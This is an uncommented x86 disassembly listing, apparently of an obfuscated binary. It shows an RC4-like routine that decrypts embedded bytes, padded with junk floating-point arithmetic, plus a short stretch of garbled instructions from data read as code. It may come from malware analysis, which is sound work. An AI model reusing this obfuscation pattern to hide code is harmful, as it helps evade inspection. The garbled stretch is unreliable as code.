movzx eax, byte [ebp + eax - 0x9b4]
movzx ecx, byte [ebp - 0x8b1]
add ecx, eax
mov byte [ebp - 0x8b1], cl
mov al, byte [ebp - 0x9c7]
add al, 1
mov byte [ebp - 0x9c7], al
movzx eax, byte [ebp - 0x8b1]
movzx ecx, byte [ebp - 0x8a1]
mov al, byte [ebp + eax - 0x9b4]
mov byte [ebp + ecx - 0x9b4], al
movzx eax, byte [ebp - 0x9bd]
movzx ecx, byte [ebp - 0x8b1]
mov al, byte [ebp + eax - 0x9b4]
mov byte [ebp + ecx - 0x9b4], al
movzx eax, byte [ebp - 0x9c7]
movzx ecx, byte [ebp - 0x9bd]
mov al, byte [ebp + eax - 0x9b4]
mov byte [ebp + ecx - 0x9b4], al
movzx eax, byte [ebp - 0x9c7]
mov cl, byte [ebp - 0xa55]
mov byte [ebp + eax - 0x9b4], cl
movzx eax, byte [ebp - 0xa55]
movzx eax, byte [ebp + eax - 0x9b4]
movzx ecx, byte [ebp - 0x9b5]
add ecx, eax
mov byte [ebp - 0x9b5], cl
movzx eax, byte [ebp - 0xa0d]
movzx ecx, byte [ebp - 0x8b1]
movzx ecx, byte [ebp + ecx - 0x9b4]
movzx edx, byte [ebp - 0x9c7]
movzx edx, byte [ebp + edx - 0x9b4]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x9b4]
xor eax, ecx
movzx ecx, byte [ebp - 0x9bd]
movzx ecx, byte [ebp + ecx - 0x9b4]
movzx edx, byte [ebp - 0x8a1]
movzx edx, byte [ebp + edx - 0x9b4]
add ecx, edx
movzx edx, byte [ebp - 0x9b5]
movzx edx, byte [ebp + edx - 0x9b4]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x9b4]
movzx ecx, byte [ebp + ecx - 0x9b4]
xor eax, ecx
mov byte [ebp - 0x9bd], al
mov al, byte [ebp - 0xa0d]
mov byte [ebp - 0x8a1], al
mov al, byte [ebp - 0x9bd]
mov byte [ebp - 0xa45], al
cmp dword [ebp - 0xa30], 0
jle 0x514fcf
movsx ax, byte [ebp - 0xa45]
mov ecx, dword [ebp - 0xa30]
mov word [ebp + ecx*2 - 0x46e], ax
jmp 0x514c8a
mov eax, dword [ebp - 0xa2c]
inc eax
mov dword [ebp - 0xa2c], eax
xor eax, eax
mov word [ebp - 0x456], ax
jmp 0x51501d
and dword [ebp - 0xa98], 0
jmp 0x515002
mov eax, dword [ebp - 0xa98]
inc eax
mov dword [ebp - 0xa98], eax
cmp dword [ebp - 0xa98], 0xc
jge 0x51501d
xor eax, eax
mov ecx, dword [ebp - 0xa98]
mov word [ebp + ecx*2 - 0x46c], ax
jmp 0x514ff5
push 4
call fcn.0093652f
pop ecx
mov dword [ebp - 0xeec], eax
mov byte [ebp - 4], 1
cmp dword [ebp - 0xeec], 0
je 0x515052
lea eax, [ebp - 0x46c]
push eax
mov ecx, dword [ebp - 0xeec]
call fcn.0044deaf
mov dword [ebp - 0xf3c], eax
jmp 0x515059
and dword [ebp - 0xf3c], 0
mov eax, dword [ebp - 0xf3c]
mov dword [ebp - 0xee8], eax
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0xee8]
mov dword [ebp - 0x43c], eax
and dword [ebp - 0x694], 0
and dword [ebp - 0x690], 0
fldz
fstp qword [ebp - 0x47c]
fldz
fstp qword [ebp - 0x6a4]
fldz
fstp qword [ebp - 0x6a4]
jmp 0x5150af
fld qword [ebp - 0x6a4]
fadd qword [0x9a1318]
fstp qword [ebp - 0x6a4]
fld qword [0x9a5aa0]
fcomp qword [ebp - 0x6a4]
fnstsw ax
test ah, 0x41
jne 0x515138
fld qword [0x9a5a98]
fmul qword [ebp - 0x6a4]
fmul qword [ebp - 0x6a4]
fld qword [ebp - 0x6a4]
fmul qword [ebp - 0x6a4]
fsubp st(1)
fld qword [0x9a4108]
fmul qword [ebp - 0x6a4]
fmul qword [ebp - 0x6a4]
fadd qword [0x9a5188]
fdivp st(1)
fadd qword [ebp - 0x47c]
fstp qword [ebp - 0x47c]
fld qword [0x9a5a90]
fcomp qword [ebp - 0x47c]
fnstsw ax
test ah, 5
jp 0x515133
fld qword [0x9a5a88]
fmul qword [ebp - 0x6a4]
fsubr qword [ebp - 0x47c]
fstp qword [ebp - 0x47c]
jmp 0x51509d
fldz
fcomp qword [ebp - 0x47c]
fnstsw ax
test ah, 0x41
jne 0x51517d
pop ds
mov word [ebx], fs
nop
and al, 0x8f
and ecx, dword [esi - 0x7de47dd6]
and dword es:[eax + ecx*4], 0x832a8826
and edx, dword [eax - 0x7edb77e2]
push ds
xchg dword [eax + 0x27], esp
dec ecx
push ebp
pop ecx
push edx
dec edi
inc edi
and dword [edx + 0x7a], ebx
pop ebp
sub esp, dword [edi + 0x29]
insd dword es:[edi], dx
and esp, dword [edx]
jo 0x5151cb
push 0x1523e9
add bh, al
test dword [ecx + edi*8 - 1], ebp
inc dword [edi + 0x51]
push ecx
add bh, al
test dword [eax - 7], esi
invalid
mov dword [ebp - 0x694], 0x515147
mov dword [ebp - 0x690], 0x515163
mov eax, dword [ebp - 0x694]
mov dword [ebp - 0xaa4], eax
mov eax, dword [ebp - 0x690]
mov dword [ebp - 0xaa0], eax
mov byte [ebp - 0xbbd], 0x19
and dword [ebp - 0xbb4], 0
jmp 0x5151c6
mov eax, dword [ebp - 0xbb4]
inc eax
mov dword [ebp - 0xbb4], eax
cmp dword [ebp - 0xbb4], 0x100
jae 0x5151e7
inc dword [eax]
add dword [eax], eax
add byte [ebx + 0x15], dh
mov eax, dword [ebp - 0xbb4]
mov cl, byte [ebp - 0xbb4]
mov byte [ebp + eax - 0xbac], cl
jmp 0x5151b9
and dword [ebp - 0xaa8], 0
mov byte [ebp - 0xbbe], 0
mov dword [ebp - 0xbb4], 0xff
jmp 0x51520e
mov eax, dword [ebp - 0xbb4]
dec eax
mov dword [ebp - 0xbb4], eax
cmp dword [ebp - 0xbb4], 0
jbe 0x515488
and dword [ebp - 0xbc4], 0
mov dword [ebp - 0xbcc], 1
mov eax, dword [ebp - 0xbcc]
cmp eax, dword [ebp - 0xbb4]
jae 0x51524c
mov eax, dword [ebp - 0xbcc]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xbcc], eax
jmp 0x51522c
mov eax, dword [ebp - 0xaa8]
mov dword [ebp - 0xf40], eax
mov eax, dword [ebp - 0xf40]
mov dword [ebp - 0xf44], eax
cmp dword [ebp - 0xf44], 0
je 0x515291
sub dword [ebp - 0xf44], 1
je 0x5152bd
sub dword [ebp - 0xf44], 1
je 0x5152e9
sub dword [ebp - 0xf44], 1
je 0x515315
jmp 0x515341
movzx eax, byte [ebp - 0xbbe]
movzx ebx, byte [ebp + eax - 0xbac]
fld qword [ebp - 0x47c]
call fcn.00937726
and eax, 0xff
add ebx, eax
mov byte [ebp - 0xbbe], bl
jmp 0x515368
movzx eax, byte [ebp - 0xbbe]
movzx ebx, byte [ebp + eax - 0xbac]
fld qword [ebp - 0x47c]
call fcn.00937726
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0xbbe], bl
jmp 0x515368
movzx eax, byte [ebp - 0xbbe]
movzx ebx, byte [ebp + eax - 0xbac]
fld qword [ebp - 0x47c]
call fcn.00937726
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0xbbe], bl
jmp 0x515368
movzx eax, byte [ebp - 0xbbe]
movzx ebx, byte [ebp + eax - 0xbac]
fld qword [ebp - 0x47c]
call fcn.00937726
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0xbbe], bl
jmp 0x515368
movzx eax, byte [ebp - 0xbbe]
movzx eax, byte [ebp + eax - 0xbac]
mov ecx, dword [ebp - 0xaa0]
add ecx, dword [ebp - 0xaa8]
movzx ecx, byte [ecx - 4]
add eax, ecx
mov byte [ebp - 0xbbe], al
mov eax, dword [ebp - 0xaa8]
inc eax
mov dword [ebp - 0xaa8], eax
movzx eax, byte [ebp - 0xbbd]
cmp dword [ebp - 0xaa8], eax
jb 0x5153a1
and dword [ebp - 0xaa8], 0
movzx eax, byte [ebp - 0xbbd]
movzx ecx, byte [ebp - 0xbbe]
add ecx, eax
mov byte [ebp - 0xbbe], cl
movzx eax, byte [ebp - 0xbbe]
and eax, dword [ebp - 0xbcc]
mov dword [ebp - 0xbc8], eax
mov eax, dword [ebp - 0xbc4]
inc eax
mov dword [ebp - 0xbc4], eax
cmp dword [ebp - 0xbc4], 0xb
jbe 0x5153de
mov eax, dword [ebp - 0xbc8]
xor edx, edx
div dword [ebp - 0xbb4]
mov dword [ebp - 0xbc8], edx
mov eax, dword [ebp - 0xbc8]
cmp eax, dword [ebp - 0xbb4]
ja 0x51524c
mov eax, dword [ebp - 0xbb4]
cmp eax, dword [ebp - 0xbc8]
je 0x515483
mov eax, dword [ebp - 0xbc8]
movzx eax, byte [ebp + eax - 0xbac]
mov ecx, dword [ebp - 0xbb4]
movzx ecx, byte [ebp + ecx - 0xbac]
xor ecx, eax
mov eax, dword [ebp - 0xbb4]
mov byte [ebp + eax - 0xbac], cl
mov eax, dword [ebp - 0xbb4]
movzx eax, byte [ebp + eax - 0xbac]
mov ecx, dword [ebp - 0xbc8]
movzx ecx, byte [ebp + ecx - 0xbac]
xor ecx, eax
mov eax, dword [ebp - 0xbc8]
mov byte [ebp + eax - 0xbac], cl
mov eax, dword [ebp - 0xbc8]
movzx eax, byte [ebp + eax - 0xbac]
mov ecx, dword [ebp - 0xbb4]
movzx ecx, byte [ebp + ecx - 0xbac]
xor ecx, eax
mov eax, dword [ebp - 0xbb4]
mov byte [ebp + eax - 0xbac], cl
jmp 0x515201
mov al, byte [ebp - 0xbab]
mov byte [ebp - 0xbbf], al
mov al, byte [ebp - 0xba9]
mov byte [ebp - 0xaa9], al
mov al, byte [ebp - 0xba7]
mov byte [ebp - 0xbad], al
mov al, byte [ebp - 0xba5]
mov byte [ebp - 0xbb5], al
movzx eax, byte [ebp - 0xbbe]
mov al, byte [ebp + eax - 0xbac]
mov byte [ebp - 0xa99], al
mov dword [ebp - 0xbbc], 0x1c
cmp dword [ebp - 0xbbc], 2
jle 0x516671
mov eax, dword [ebp - 0xbbc]
and eax, 1
jne 0x516671
and dword [ebp - 0xbf8], 0
and dword [ebp - 0xbf4], 0
mov eax, dword [ebp - 0xbf4]
inc eax
mov dword [ebp - 0xbf4], eax
and dword [ebp - 0xbd0], 0
mov eax, dword [ebp - 0xbf8]
shl eax, 1
mov dword [ebp - 0xbd0], eax
and dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0xaa4]
add eax, dword [ebp - 0xbd0]
movzx eax, byte [eax]
add eax, dword [ebp - 0xc0c]
mov dword [ebp - 0xc0c], eax
and dword [ebp - 0xbdc], 0
mov eax, dword [ebp - 0xbdc]
add eax, 0x1b
mov dword [ebp - 0xbdc], eax
and dword [ebp - 0xbec], 0
mov eax, dword [ebp - 0xbf8]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xbec], eax
and dword [ebp - 0xc20], 0
mov eax, dword [ebp - 0xaa4]
add eax, dword [ebp - 0xbec]
movzx eax, byte [eax]
add eax, dword [ebp - 0xc20]
mov dword [ebp - 0xc20], eax
and dword [ebp - 0xc08], 0
mov eax, dword [ebp - 0xc08]
add eax, 0x81
mov dword [ebp - 0xc08], eax
and dword [ebp - 0xc1c], 0
mov eax, dword [ebp - 0xc0c]
sub eax, dword [ebp - 0xbdc]
add eax, dword [ebp - 0xc1c]
mov dword [ebp - 0xc1c], eax
and dword [ebp - 0xbd4], 0
mov eax, dword [ebp - 0xc20]
sub eax, dword [ebp - 0xc08]
add eax, dword [ebp - 0xbd4]
mov dword [ebp - 0xbd4], eax
and dword [ebp - 0xc18], 0
mov eax, dword [ebp - 0xc1c]
shl eax, 4
mov dword [ebp - 0xc18], eax
and dword [ebp - 0xc04], 0
mov eax, dword [ebp - 0xbd4]
mov dword [ebp - 0xc04], eax
and dword [ebp - 0xbf0], 0
mov eax, dword [ebp - 0xc18]
or eax, dword [ebp - 0xc04]
mov dword [ebp - 0xbf0], eax
mov byte [ebp - 0xbdd], 0
mov al, byte [ebp - 0xbf0]
mov byte [ebp - 0xbdd], al
mov byte [ebp - 0xc11], 0
movzx eax, byte [ebp - 0xa99]
mov al, byte [ebp + eax - 0xbac]
mov byte [ebp - 0xc11], al
movzx eax, byte [ebp - 0xbbf]
movzx eax, byte [ebp + eax - 0xbac]
movzx ecx, byte [ebp - 0xaa9]
add ecx, eax
mov byte [ebp - 0xaa9], cl
mov al, byte [ebp - 0xbbf]
add al, 1
mov byte [ebp - 0xbbf], al
movzx eax, byte [ebp - 0xaa9]
movzx ecx, byte [ebp - 0xa99]
mov al, byte [ebp + eax - 0xbac]
mov byte [ebp + ecx - 0xbac], al
movzx eax, byte [ebp - 0xbb5]
movzx ecx, byte [ebp - 0xaa9]
mov al, byte [ebp + eax - 0xbac]
mov byte [ebp + ecx - 0xbac], al
movzx eax, byte [ebp - 0xbbf]
movzx ecx, byte [ebp - 0xbb5]
mov al, byte [ebp + eax - 0xbac]
mov byte [ebp + ecx - 0xbac], al
movzx eax, byte [ebp - 0xbbf]
mov cl, byte [ebp - 0xc11]
mov byte [ebp + eax - 0xbac], cl
movzx eax, byte [ebp - 0xc11]
movzx eax, byte [ebp + eax - 0xbac]
movzx ecx, byte [ebp - 0xbad]
add ecx, eax
mov byte [ebp - 0xbad], cl
movzx eax, byte [ebp - 0xbdd]
movzx ecx, byte [ebp - 0xaa9]
movzx ecx, byte [ebp + ecx - 0xbac]
movzx edx, byte [ebp - 0xbbf]
movzx edx, byte [ebp + edx - 0xbac]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xbac]
xor eax, ecx
movzx ecx, byte [ebp - 0xbb5]
movzx ecx, byte [ebp + ecx - 0xbac]
movzx edx, byte [ebp - 0xa99]
movzx edx, byte [ebp + edx - 0xbac]
add ecx, edx
movzx edx, byte [ebp - 0xbad]
movzx edx, byte [ebp + edx - 0xbac]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xbac]
movzx ecx, byte [ebp + ecx - 0xbac]
xor eax, ecx
mov byte [ebp - 0xbb5], al
mov al, byte [ebp - 0xbdd]
mov byte [ebp - 0xa99], al
mov al, byte [ebp - 0xbb5]
mov byte [ebp - 0xbfd], al
cmp dword [ebp - 0xbf8], 0
jle 0x5157c5
mov eax, dword [ebp - 0xbf8]
mov cl, byte [ebp - 0xbfd]
mov byte [ebp + eax - 0x6b5], cl
mov eax, dword [ebp - 0xbf4]
add eax, 6
mov dword [ebp - 0xbf4], eax
mov eax, dword [ebp - 0xbf8]
inc eax
mov dword [ebp - 0xc24], eax
jmp 0x5157f0
mov eax, dword [ebp - 0xc24]
inc eax
mov dword [ebp - 0xc24], eax
mov eax, dword [ebp - 0xc24]
cmp eax, dword [ebp - 0xbf4]
jge 0x515e78
mov eax, dword [ebp - 0xbf8]
inc eax
mov dword [ebp - 0xbf8], eax
mov eax, dword [ebp - 0xbf8]
shl eax, 1
mov dword [ebp - 0xbd0], eax
mov eax, dword [ebp - 0xaa4]
add eax, dword [ebp - 0xbd0]
movzx eax, byte [eax]
mov dword [ebp - 0xc0c], eax
mov dword [ebp - 0xbdc], 0x1b
mov eax, dword [ebp - 0xbf8]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xbec], eax
mov eax, dword [ebp - 0xaa4]
add eax, dword [ebp - 0xbec]
movzx eax, byte [eax]
mov dword [ebp - 0xc20], eax
mov dword [ebp - 0xc08], 0x81
mov eax, dword [ebp - 0xc0c]
sub eax, dword [ebp - 0xbdc]
mov dword [ebp - 0xc1c], eax
mov eax, dword [ebp - 0xc20]
sub eax, dword [ebp - 0xc08]
mov dword [ebp - 0xbd4], eax
mov eax, dword [ebp - 0xc1c]
shl eax, 4
mov dword [ebp - 0xc18], eax
mov eax, dword [ebp - 0xbd4]
mov dword [ebp - 0xc04], eax
mov eax, dword [ebp - 0xc18]
or eax, dword [ebp - 0xc04]
mov dword [ebp - 0xbf0], eax
mov al, byte [ebp - 0xbf0]
mov byte [ebp - 0xbdd], al
movzx eax, byte [ebp - 0xa99]
mov al, byte [ebp + eax - 0xbac]
mov byte [ebp - 0xc11], al
movzx eax, byte [ebp - 0xbbf]
movzx eax, byte [ebp + eax - 0xbac]
movzx ecx, byte [ebp - 0xaa9]
add ecx, eax
mov byte [ebp - 0xaa9], cl
mov al, byte [ebp - 0xbbf]
add al, 1
mov byte [ebp - 0xbbf], al
movzx eax, byte [ebp - 0xaa9]
movzx ecx, byte [ebp - 0xa99]
mov al, byte [ebp + eax - 0xbac]
mov byte [ebp + ecx - 0xbac], al
fld dword [0x9a5a80]
fstp dword [ebp - 0xc3c]
fld dword [0x9a5a7c]
fstp dword [ebp - 0xc50]
fld dword [0x9a5a78]
fstp dword [ebp - 0xc68]
fld dword [0x9a5a74]
fstp dword [ebp - 0xc28]
fld dword [0x9a5a70]
fstp dword [ebp - 0xc38]
fld dword [ebp - 0xc28]
fsub dword [ebp - 0xc38]
fstp dword [ebp - 0xc28]
fld dword [ebp - 0xc28]
fadd dword [ebp - 0xc38]
fstp dword [ebp - 0xc28]
fld dword [ebp - 0xc68]
fsub dword [ebp - 0xc38]
fstp dword [ebp - 0xc68]
fld dword [ebp - 0xc68]
fsub dword [ebp - 0xc38]
fstp dword [ebp - 0xc68]
fld dword [ebp - 0xc68]
fsub dword [ebp - 0xc38]
fstp dword [ebp - 0xc68]
fld dword [ebp - 0xc3c]
fld dword [ebp - 0xc68]
fcompp
fnstsw ax
test ah, 0x41
jne 0x515b54
fld dword [ebp - 0xc28]
fadd dword [ebp - 0xc3c]
fstp dword [ebp - 0xc28]
fld dword [ebp - 0xc50]
fadd dword [ebp - 0xc28]
fstp dword [ebp - 0xc50]
fld dword [ebp - 0xc3c]
fmul dword [ebp - 0xc68]
fstp dword [ebp - 0xc3c]
fld dword [ebp - 0xc38]
fadd dword [ebp - 0xc50]
fstp dword [ebp - 0xc38]
fld dword [ebp - 0xc3c]
fsub dword [ebp - 0xc68]
fstp dword [ebp - 0xc3c]
fld dword [ebp - 0xc28]
fsub dword [ebp - 0xc3c]
fstp dword [ebp - 0xc28]
fld dword [ebp - 0xc38]
fadd dword [ebp - 0xc50]
fstp dword [ebp - 0xc38]
fld dword [ebp - 0xc28]
fsub dword [ebp - 0xc3c]
fstp dword [ebp - 0xc28]
fld dword [ebp - 0xc38]
fadd dword [ebp - 0xc50]
fstp dword [ebp - 0xc38]
fld dword [ebp - 0xc38]
fmul dword [ebp - 0xc50]
fstp dword [ebp - 0xc38]
fld dword [ebp - 0xc68]
fld dword [ebp - 0xc38]
fcompp
fnstsw ax
test ah, 5
jp 0x515af8
fld dword [ebp - 0xc3c]
fdiv dword [ebp - 0xc50]
fstp dword [ebp - 0xc3c]
fld dword [ebp - 0xc28]
fsub dword [ebp - 0xc38]
fstp dword [ebp - 0xc28]
fld dword [ebp - 0xc38]
fmul dword [ebp - 0xc3c]
fstp dword [ebp - 0xc38]
fld dword [ebp - 0xc38]
fmul dword [ebp - 0xc3c]
fstp dword [ebp - 0xc38]
fld dword [ebp - 0xc28]
fdiv dword [ebp - 0xc38]
fstp dword [ebp - 0xc28]
jmp 0x515b52
fld dword [ebp - 0xc68]
fdiv dword [ebp - 0xc38]
fstp dword [ebp - 0xc68]
fld dword [ebp - 0xc3c]
fsub dword [ebp - 0xc68]
fstp dword [ebp - 0xc3c]
fld dword [ebp - 0xc50]
fsub dword [ebp - 0xc28]
fstp dword [ebp - 0xc50]
fld dword [ebp - 0xc50]
fadd dword [ebp - 0xc28]
fstp dword [ebp - 0xc50]
fld dword [ebp - 0xc68]
fsub dword [ebp - 0xc38]
fstp dword [ebp - 0xc68]
jmp 0x515bca
fld dword [ebp - 0xc38]
fmul dword [ebp - 0xc3c]
fstp dword [ebp - 0xc38]
fld dword [ebp - 0xc28]
fsub dword [ebp - 0xc38]
fstp dword [ebp - 0xc28]
fld dword [ebp - 0xc50]
fmul dword [ebp - 0xc68]
fstp dword [ebp - 0xc50]
fld dword [ebp - 0xc38]
fadd dword [ebp - 0xc3c]
fstp dword [ebp - 0xc38]
fld dword [ebp - 0xc50]
fmul dword [ebp - 0xc68]
fstp dword [ebp - 0xc50]
movzx eax, byte [ebp - 0xbb5]
movzx ecx, byte [ebp - 0xaa9]
mov al, byte [ebp + eax - 0xbac]
mov byte [ebp + ecx - 0xbac], al
movzx eax, byte [ebp - 0xbbf]
movzx ecx, byte [ebp - 0xbb5]
mov al, byte [ebp + eax - 0xbac]
mov byte [ebp + ecx - 0xbac], al
movzx eax, byte [ebp - 0xbbf]
mov cl, byte [ebp - 0xc11]
mov byte [ebp + eax - 0xbac], cl
movzx eax, byte [ebp - 0xc11]
movzx eax, byte [ebp + eax - 0xbac]
movzx ecx, byte [ebp - 0xbad]
add ecx, eax
mov byte [ebp - 0xbad], cl
movzx eax, byte [ebp - 0xbdd]
movzx ecx, byte [ebp - 0xaa9]
movzx ecx, byte [ebp + ecx - 0xbac]
movzx edx, byte [ebp - 0xbbf]
movzx edx, byte [ebp + edx - 0xbac]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xbac]
xor eax, ecx
movzx ecx, byte [ebp - 0xbb5]
movzx ecx, byte [ebp + ecx - 0xbac]
movzx edx, byte [ebp - 0xa99]
movzx edx, byte [ebp + edx - 0xbac]
add ecx, edx
movzx edx, byte [ebp - 0xbad]
movzx edx, byte [ebp + edx - 0xbac]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xbac]
movzx ecx, byte [ebp + ecx - 0xbac]
xor eax, ecx
mov byte [ebp - 0xbb5], al
mov al, byte [ebp - 0xbdd]
mov byte [ebp - 0xa99], al
fld qword [0x9a5a68]
fstp qword [ebp - 0xc4c]
fld qword [0x9a5a60]
fstp qword [ebp - 0xc64]
fld qword [0x9a5a58]
fstp qword [ebp - 0xc44]
fld qword [0x9a5a50]
fstp qword [ebp - 0xc34]
fld qword [0x9a5a48]
fstp qword [ebp - 0xc74]
fld qword [0x9a5a40]
fstp qword [ebp - 0xc5c]
fld qword [ebp - 0xc44]
fadd qword [ebp - 0xc5c]
fstp qword [ebp - 0xc44]
fld qword [ebp - 0xc74]
fsub qword [ebp - 0xc5c]
fstp qword [ebp - 0xc74]
fld qword [ebp - 0xc74]
fsub qword [ebp - 0xc5c]
fstp qword [ebp - 0xc74]
fld qword [ebp - 0xc74]
fadd qword [ebp - 0xc5c]
fstp qword [ebp - 0xc74]
fld qword [ebp - 0xc74]
fmul qword [ebp - 0xc5c]
fstp qword [ebp - 0xc74]
fld qword [ebp - 0xc4c]
fadd qword [ebp - 0xc5c]
fstp qword [ebp - 0xc4c]
fld qword [ebp - 0xc74]
fcomp qword [ebp - 0xc5c]
fnstsw ax
test ah, 0x41
jne 0x515deb
fld qword [ebp - 0xc4c]
fadd qword [ebp - 0xc64]
fstp qword [ebp - 0xc4c]
fld qword [ebp - 0xc5c]
fadd qword [ebp - 0xc4c]
fstp qword [ebp - 0xc5c]
fld qword [ebp - 0xc4c]
fsub qword [ebp - 0xc64]
fstp qword [ebp - 0xc4c]
fld qword [ebp - 0xc74]
fsub qword [ebp - 0xc5c]
fstp qword [ebp - 0xc74]
fld qword [ebp - 0xc5c]
fsub qword [ebp - 0xc4c]
fstp qword [ebp - 0xc5c]
fld qword [ebp - 0xc74]
fmul qword [ebp - 0xc5c]
fstp qword [ebp - 0xc74]
mov al, byte [ebp - 0xbb5]
mov byte [ebp - 0xbfd], al
jmp 0x515e57
fld qword [ebp - 0xc44]
fadd qword [ebp - 0xc74]
fstp qword [ebp - 0xc44]
fld qword [ebp - 0xc44]
fmul qword [ebp - 0xc74]
fstp qword [ebp - 0xc44]
fld qword [ebp - 0xc74]
fmul qword [ebp - 0xc4c]
fstp qword [ebp - 0xc74]
fld qword [ebp - 0xc44]
fdiv qword [ebp - 0xc74]
fstp qword [ebp - 0xc44]
fld qword [ebp - 0xc74]
fdiv qword [ebp - 0xc4c]
fstp qword [ebp - 0xc74]
fld qword [ebp - 0xc34]
fdiv qword [ebp - 0xc5c]
fstp qword [ebp - 0xc34]
cmp dword [ebp - 0xbf8], 0
jle 0x515e73
mov eax, dword [ebp - 0xbf8]
mov cl, byte [ebp - 0xbfd]
mov byte [ebp + eax - 0x6b5], cl
jmp 0x5157e3
mov eax, dword [ebp - 0xbf4]
inc eax
mov dword [ebp - 0xbf4], eax
mov eax, dword [ebp - 0xbf4]
add eax, 6
mov dword [ebp - 0xbf4], eax
mov eax, dword [ebp - 0xbf8]
inc eax
mov dword [ebp - 0xc78], eax
jmp 0x515eb0
mov eax, dword [ebp - 0xc78]
inc eax
mov dword [ebp - 0xc78], eax
mov eax, dword [ebp - 0xc78]
cmp eax, dword [ebp - 0xbf4]
jge 0x5162a7
mov eax, dword [ebp - 0xbf8]
inc eax
mov dword [ebp - 0xbf8], eax
mov eax, dword [ebp - 0xbf8]
shl eax, 1
mov dword [ebp - 0xbd0], eax
mov eax, dword [ebp - 0xaa4]
add eax, dword [ebp - 0xbd0]
movzx eax, byte [eax]
mov dword [ebp - 0xc0c], eax
mov dword [ebp - 0xbdc], 0x1b
mov eax, dword [ebp - 0xbf8]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xbec], eax
mov eax, dword [ebp - 0xaa4]
add eax, dword [ebp - 0xbec]
movzx eax, byte [eax]
mov dword [ebp - 0xc20], eax
mov dword [ebp - 0xc08], 0x81
mov eax, dword [ebp - 0xc0c]
sub eax, dword [ebp - 0xbdc]
mov dword [ebp - 0xc1c], eax
mov eax, dword [ebp - 0xc20]
sub eax, dword [ebp - 0xc08]
mov dword [ebp - 0xbd4], eax
mov eax, dword [ebp - 0xc1c]
shl eax, 4
mov dword [ebp - 0xc18], eax
mov eax, dword [ebp - 0xbd4]
mov dword [ebp - 0xc04], eax
mov eax, dword [ebp - 0xc18]
or eax, dword [ebp - 0xc04]
mov dword [ebp - 0xbf0], eax
mov al, byte [ebp - 0xbf0]
mov byte [ebp - 0xbdd], al
movzx eax, byte [ebp - 0xa99]
mov al, byte [ebp + eax - 0xbac]
mov byte [ebp - 0xc11], al
movzx eax, byte [ebp - 0xbbf]
movzx eax, byte [ebp + eax - 0xbac]
movzx ecx, byte [ebp - 0xaa9]
add ecx, eax
mov byte [ebp - 0xaa9], cl
mov al, byte [ebp - 0xbbf]
add al, 1
mov byte [ebp - 0xbbf], al
movzx eax, byte [ebp - 0xaa9]
movzx ecx, byte [ebp - 0xa99]
mov al, byte [ebp + eax - 0xbac]
mov byte [ebp + ecx - 0xbac], al
movzx eax, byte [ebp - 0xbb5]
movzx ecx, byte [ebp - 0xaa9]
mov al, byte [ebp + eax - 0xbac]
mov byte [ebp + ecx - 0xbac], al
movzx eax, byte [ebp - 0xbbf]
movzx ecx, byte [ebp - 0xbb5]
mov al, byte [ebp + eax - 0xbac]
mov byte [ebp + ecx - 0xbac], al
movzx eax, byte [ebp - 0xbbf]
mov cl, byte [ebp - 0xc11]
mov byte [ebp + eax - 0xbac], cl
fld dword [0x9a5a3c]
fstp dword [ebp - 0xc80]
fld dword [0x9a5a38]
fstp dword [ebp - 0xc7c]
fld dword [0x9a5a34]
fstp dword [ebp - 0xc84]
fld dword [ebp - 0xc7c]
fmul dword [ebp - 0xc84]
fstp dword [ebp - 0xc7c]
fld dword [ebp - 0xc7c]
fmul dword [ebp - 0xc84]
fstp dword [ebp - 0xc7c]
fld dword [ebp - 0xc80]
fmul dword [ebp - 0xc84]
fstp dword [ebp - 0xc80]
fld dword [ebp - 0xc84]
fld dword [ebp - 0xc7c]
fcompp
fnstsw ax
test ah, 5
jp 0x516194
fld dword [ebp - 0xc84]
fadd dword [ebp - 0xc80]
fstp dword [ebp - 0xc84]
fld dword [ebp - 0xc7c]
fadd dword [ebp - 0xc84]
fstp dword [ebp - 0xc7c]
fld dword [ebp - 0xc84]
fmul dword [ebp - 0xc80]
fstp dword [ebp - 0xc84]
fld dword [ebp - 0xc84]
fdiv dword [ebp - 0xc7c]
fstp dword [ebp - 0xc84]
fld dword [ebp - 0xc80]
fdiv dword [ebp - 0xc84]
fstp dword [ebp - 0xc80]
fld dword [ebp - 0xc7c]
fdiv dword [ebp - 0xc80]
fstp dword [ebp - 0xc7c]
fld dword [ebp - 0xc84]
fld dword [ebp - 0xc7c]
fcompp
fnstsw ax
test ah, 5
jp 0x51615c
fld dword [ebp - 0xc84]
fsub dword [ebp - 0xc7c]
fstp dword [ebp - 0xc84]
fld dword [ebp - 0xc7c]
fadd dword [ebp - 0xc80]
fstp dword [ebp - 0xc7c]
fld dword [ebp - 0xc80]
fsub dword [ebp - 0xc84]
fstp dword [ebp - 0xc80]
jmp 0x516192
fld dword [ebp - 0xc80]
fdiv dword [ebp - 0xc7c]
fstp dword [ebp - 0xc80]
fld dword [ebp - 0xc7c]
fdiv dword [ebp - 0xc84]
fstp dword [ebp - 0xc7c]
fld dword [ebp - 0xc84]
fsub dword [ebp - 0xc80]
fstp dword [ebp - 0xc84]
jmp 0x5161e8
fld dword [ebp - 0xc84]
fmul dword [ebp - 0xc7c]
fstp dword [ebp - 0xc84]
fld dword [ebp - 0xc7c]
fsub dword [ebp - 0xc80]
fstp dword [ebp - 0xc7c]
fld dword [ebp - 0xc80]
fadd dword [ebp - 0xc84]
fstp dword [ebp - 0xc80]
movzx eax, byte [ebp - 0xc11]
movzx eax, byte [ebp + eax - 0xbac]
movzx ecx, byte [ebp - 0xbad]
add ecx, eax
mov byte [ebp - 0xbad], cl
movzx eax, byte [ebp - 0xbdd]
movzx ecx, byte [ebp - 0xaa9]
